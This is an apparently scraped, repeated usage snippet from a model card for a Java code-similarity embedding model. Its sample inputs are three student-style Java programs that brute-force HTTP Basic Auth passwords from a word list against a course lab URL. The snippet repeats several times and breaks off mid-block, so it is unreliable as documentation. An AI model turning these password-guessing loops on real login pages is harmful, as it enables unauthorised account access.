# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
